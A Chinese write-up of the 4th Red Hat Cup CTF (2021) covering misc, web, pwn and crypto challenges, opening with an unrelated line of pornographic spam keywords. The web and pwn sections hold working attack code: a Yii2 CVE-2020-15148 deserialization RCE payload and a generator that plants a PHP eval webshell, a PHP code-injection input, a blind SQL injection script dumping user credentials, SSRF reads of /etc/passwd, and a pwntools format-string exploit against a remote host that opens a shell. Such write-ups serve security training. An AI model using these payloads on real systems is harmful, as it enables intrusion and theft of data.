女人叉开腿让男人桶,又粗又硬又爽的免费视频,操逼大战,国产性生活毛片,亚洲三级在线视频,久久99网,亚洲第一综合区,免费三级成人爱做片

作者：末初 編輯：白帽子社區(qū)運(yùn)營(yíng)團(tuán)隊(duì)

"白帽子社區(qū)在線CTF靶場(chǎng)BMZCTF，歡迎各位在這里練習(xí)、學(xué)習(xí)，BMZCTF全身心為網(wǎng)絡(luò)安全賽手提供優(yōu)質(zhì)學(xué)習(xí)環(huán)境，鏈接（http://www.bmzclub.cn/）

MISC

簽到

附件名稱叫 EBCDIC.zip

010Editor直接選擇 EBCDIC 編碼

flag{we1c0me_t0_redhat2021}

colorful code

這題可惜了，當(dāng)我想出來怎么做的時(shí)候，已經(jīng)沒有時(shí)間來寫腳本了...

首先題目名稱提示：colorful code ，這點(diǎn)當(dāng)時(shí)第一時(shí)間想到了前段時(shí)間安恒賽misc有一題 colorful porgramming

colorful porgramming 詳情見：https://www.bertnase.de/npiet/

附件中 data1 是文本文件， data2 是數(shù)據(jù)文件，用hexdump查看如下

data1 中是 0-19 的數(shù)字，用空格分開。也看不出什么別的(當(dāng)時(shí)在這浪費(fèi)了比較多的時(shí)間)。

data1 暫時(shí)也看不出來和圖片有什么關(guān)系，所以圖片的線索在 data2

咋一看也和圖片沒什關(guān)系，但是當(dāng)我們將每一個(gè)字節(jié)的十六進(jìn)制轉(zhuǎn)換成 RGB 十進(jìn)制，三個(gè)一組

from binascii import * with open('data2','rb') as f:     f = hexlify(f.read()).decode()     n = 0     color_list = []     for i in range(0,len(f),2):         i = f[i:i+2]         color_list.append(int(i,16))         n += 1         if n == 3:             print(tuple(color_list))             color_list = []         n = 0        else:             continue

運(yùn)行結(jié)果

PS C:\Users\Administrator\Downloads\colorful_code-1> python .\code.py(0, 0, 0)(0, 0, 192)(0, 255, 255)(0, 255, 0)(255, 192, 255)(255, 192, 192)(192, 192, 255)(192, 192, 0)(255, 0, 255)(255, 0, 0)(192, 0, 0)(192, 0, 192)(255, 255, 255)(255, 255, 0)(255, 255, 192)(0, 192, 0)(0, 192, 192)(192, 255, 255)(192, 255, 192)(0, 0, 255)(20, 20, 20)(21, 21, 21)(22, 22, 22)(23, 23, 23)(24, 24, 24)(25, 25, 25).......(250, 250, 250)(251, 251, 251)(252, 252, 252)(253, 253, 253)(254, 254, 254)(255, 255, 255)

很明顯，前 20 組數(shù)據(jù)和后面的數(shù)據(jù)不太一樣。然后聯(lián)想到前面 data1 中只有 0-19 的數(shù)字，猜測(cè) data1 的 0-19 應(yīng)該是對(duì)應(yīng) data2 種這二十組像素?cái)?shù)據(jù)的下標(biāo)。

OK，那么思路到這里就很清楚了。我們將這二十組RGB像素，按照 data1 中的順序，將這些像素 putpixel() 即可。

思考到這里的時(shí)候還有最后一個(gè)問題，那就是生成的圖片的寬高。要知道寬高，我們首先要知道圖片的總像素，總像素，直接計(jì)算下 data1 中有多少個(gè) 0-19 數(shù)字。

Python簡(jiǎn)單處理

def str2list():  with open('data1.txt') as f:    f = f.read()    index_list = f.split(' ')    return index_list    print(str2list())print(len(str2list()))

這里需要注意，因?yàn)?data1 最后有兩個(gè)空格，所以會(huì)切多一個(gè)元素出來，去掉即可。所以這里總像素是：7067 7067 看起來不像是一個(gè)比較常見的圖片總像素?cái)?shù)，不太好計(jì)算，直接在線分解質(zhì)因數(shù)得到寬高分解質(zhì)因數(shù)：http://tools.jb51.net/jisuanqi/factor_calc

就先推測(cè)寬為: 37 ，高為: 191 OK，接下來直接Python簡(jiǎn)單處理下即可得到 flag.png

# -*- coding:utf-8 -*-# Author: mochu7import PILfrom PIL import Imagefrom binascii import *
def str2list():    with open('data1.txt') as f:        f = f.read()        index_list = f.split(' ')        return index_list
def num2color():    with open('data2','rb') as f:        f = hexlify(f.read()).decode()        n = 0        idx = 0        color_dic = {}        color_list = []        for i in range(0,len(f),2):            i = f[i:i+2]            color_list.append(int(i,16))            n += 1            if n == 3:                color_dic[idx] = tuple(color_list)                color_list = []                n = 0                idx += 1            elif idx == 20:                break    return color_dic
def genimg():    width, height = 37, 191    img = Image.new("RGB",(width,height))    imgpixels = str2list()    colorlist = num2color()    pixlist = []    for pix in imgpixels:        pixlist.append(colorlist[int(pix)])    idx = 0    for w in range(width):        for h in range(height):            img.putpixel([w,h], pixlist[idx])            idx += 1    img.save('flag.png')

if __name__ == '__main__':    # print(len(str2list()))    # print(num2color())    genimg()

npiet online ：https://www.bertnase.de/npiet/npiet-execute.php

得到flag

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

WEB

find_it

目錄掃描發(fā)現(xiàn) robots.txt

存在 1ndexx.php ，直接訪問并沒有什么信息。猜測(cè)存在 vim 備份文件訪問 view-source:http://eci2zefc95c45rhg0wuefre.cloudeci1.ichunqiu.com/.1ndexx.php.swp 拿到源碼

<?php $link = mysql_connect('localhost', 'root'); ?><html><head>  <title>Hello worldd!</title>  <style>  body {    background-color: white;    text-align: center;    padding: 50px;    font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;  }
  #logo {    margin-bottom: 40px;  }</style></head><body>  <img id="logo" src="logo.png" />  <h1><?php echo "Hello My freind!"; ?></h1>  <?php if($link) { ?>    <h2>I Can't view my php files?!</h2>  <?php } else { ?>    <h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>  <?php } ?></body></html><?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){  die("you die");}if(strlen($a)>33){  die("nonono.");}fwrite($hack,$a);fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);fclose($hack);?>

正則沒有忽略大小寫，本來是怎么想辦法怎么繞過disable_function讀flag.php的，但是寫入查看phpinfo()的時(shí)候發(fā)現(xiàn)

/index.php?code=<?=phpinfo();?>

訪問hack.php
發(fā)現(xiàn)flag被記錄進(jìn)了phpinfo的全局變量里，送分了

這題應(yīng)該非預(yù)期了

framework

Yii框架，目錄掃描發(fā)現(xiàn)www.zip源碼中簡(jiǎn)單看了下，知道這是Yii2框架，搜索引擎找一下如何查看Yii2的版本

本地調(diào)試，在web/index.php中添加一行echo Yii::getVersion();

得到當(dāng)前版本信息：2.0.32

搜索引擎找這個(gè)版本或者更高版本的漏洞

最后發(fā)現(xiàn)是一個(gè)CVE-2020-15148的反序列化RCE

網(wǎng)上相關(guān)利用文章很多，我參考的是以下兩篇：

https://anquan.baidu.com/article/1260
https://0xkami.top/2020/10/26/0x08cve-2020-15148-Yii2反序列化漏洞復(fù)現(xiàn)/

/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

得到一個(gè)不完整的phpinfo

之后測(cè)試的時(shí)候，發(fā)現(xiàn)system、eval之類的一些函數(shù)好像都沒有效果，猜測(cè)可能設(shè)置了disable_functions不過最后發(fā)現(xiàn)assert能用、file_put_contents()也能用<?phpnamespace yii\rest{    class CreateAction{        public $checkAccess;        public $id;

        public function __construct(){            $this->checkAccess = 'assert';            $this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');';        }    }}

namespace Faker{    use yii\rest\CreateAction;

    class Generator{        protected $formatters;

        public function __construct(){            $this->formatters['close'] = [new CreateAction(), 'run'];        }    }}

namespace yii\db{    use Faker\Generator;

    class BatchQueryResult{        private $_dataReader;

        public function __construct(){            $this->_dataReader = new Generator;        }    }}namespace{    echo base64_encode(serialize(new yii\db\BatchQueryResult));}?>

上蟻劍，用插件。
phpinfo的信息顯示這里是Apache/2.4.6 (CentOS) PHP/5.6.40
選擇Apache_mod_cgi

WebsiteManger

查看源碼

圖片的id貌似是跟數(shù)據(jù)庫(kù)存在交互的

長(zhǎng)度177的都是被過濾的關(guān)鍵字

布爾盲注

/image.php?id=if(1=1,1,5) True /image.php?id=if(1=2,1,5) False

條件為真時(shí)?id=1，回顯第一張圖片，條件為假時(shí)?id=5，沒有id=5的圖片，什么都沒有。即可作為布爾盲注判斷條件

編寫簡(jiǎn)單的Python盲注腳本

import stringfrom requests import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://eci-2ze8j3xqhbs4y2thbqra.cloudeci1.ichunqiu.com/image.php'

info = ''for i in range(1,50):    for s in allstr:        payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))        resp = get(url=myurl+payload)        if len(resp.text) > 4000:             info += s             print(info)

payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))

注入查詢到信息

Current_database: ctf
Tables_in_ctf: images，users
Columns_in_users: username,password

得到賬戶admin，密碼441cc8327a306b48b7a32

登錄admin

curl.php這里應(yīng)該存在SSRF

嘗試file://協(xié)議去讀文件

file:///etc/passwd

直接讀file:///flag

ezlight

下面到了膜大佬時(shí)刻
orz…orz…orz…orz…orz…orz…orz…
Y1ngyyds!!!
https://www.gem-love.com/websecurity/2763.html

PWN

parser

主要是逆向工作，理清楚合法輸入后就是簡(jiǎn)單的不限次數(shù)的格式化字符串。

from pwn import *

context.log_level = Truecontext.arch = "amd64"

#p = process("./pwn")p = remote("47.105.94.48", 12435)

gadget_addr = [0x4f365, 0x4f3c2, 0x10a45c]

p.recvuntil("> ")payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%15$p*%8$p*"p.sendline(payload)base_addr = int(p.recvuntil("*")[:-1], 16) - 0x14a8stack_addr = int(p.recvuntil("*")[:-1], 16) + (0x7fffffffddd8 - 0x7fffffffd830)log.info("base_addr: " + hex(base_addr))log.info("stack_addr: " + hex(stack_addr))

p.recvuntil("> ")payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n%22$saaaaa" + \    p64(base_addr + 0x201F90)p.sendline(payload)libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x110180log.info("libc_base: " + hex(libc_base))gadget_addr = libc_base + 0x10a45clog.info("gadget_addr: " + hex(gadget_addr))

#gdb.attach(p, "b* 0x55555555537d\nb* 0x55555555539c\nb* 0x555555555634")p.recvuntil("> ")payload = b"GET /test HTTP/1.0\nContent-Length:-1\n\n11" + \    fmtstr_payload(0x59, {stack_addr: gadget_addr}, 2, "short")p.sendline(payload)

p.recvuntil("> ")payload =b"getshell"
p.sendline(payload)
p.interactive()

CRYPTO

primegame

背包問題

import mathfrom decimal import *import random



getcontext().prec = int(100)

primes = [2]for i in range(3, 90):    f = True    for j in primes:        if i * i < j:            break        if i % j == 0:            f = False            break    if f:        primes.append(i)

keys = []for i in range(len(primes)):    keys.append(Decimal(int(primes[i])).ln())

arr = []for v in keys:    arr.append(int(v * int(16) ** int(64)))

ct = 425985475047781336789963300910446852783032712598571885345660550546372063410589918



def encrypt(res):    h = Decimal(int(0))    for i in range(len(keys)):        h += res[i] * keys[i]

    ct = int(h * int(16)**int(64))    return ct



def f(N):    ln = len(arr)    A = Matrix(ZZ, ln + 1, ln + 1)    for i in range(ln):        A[i, i] = 1        A[i, ln] = arr[i] // N        A[ln, i] = 64

    A[ln, ln] = ct // N

    res = A.LLL()

    for i in range(ln + 1):        flag = True        for j in range(ln):            if -64 <= res[i][j] < 64:                continue            flag = False            break        if flag:            vec = [int(v + 64) for v in res[i][:-1]]            ret = encrypt(vec)            if ret == ct:                print(N, bytes(vec))



for i in range(2, 10000):    print(i)    f(i)

往期精彩文章

惡意樣本學(xué)習(xí)——勒索病毒（一）
CVE-2020-16846 CVE-2020-25592 分析
利用句柄表實(shí)現(xiàn)反調(diào)試
虎符ctf wp
ElasticSearch漏洞復(fù)現(xiàn)集合

技術(shù)支持：白帽子社區(qū)團(tuán)隊(duì)

— 掃碼關(guān)注我們 —

第四屆紅帽杯網(wǎng)絡(luò)安全大賽-線上賽Writeup

framework

WebsiteManger

ezlight

parser

primegame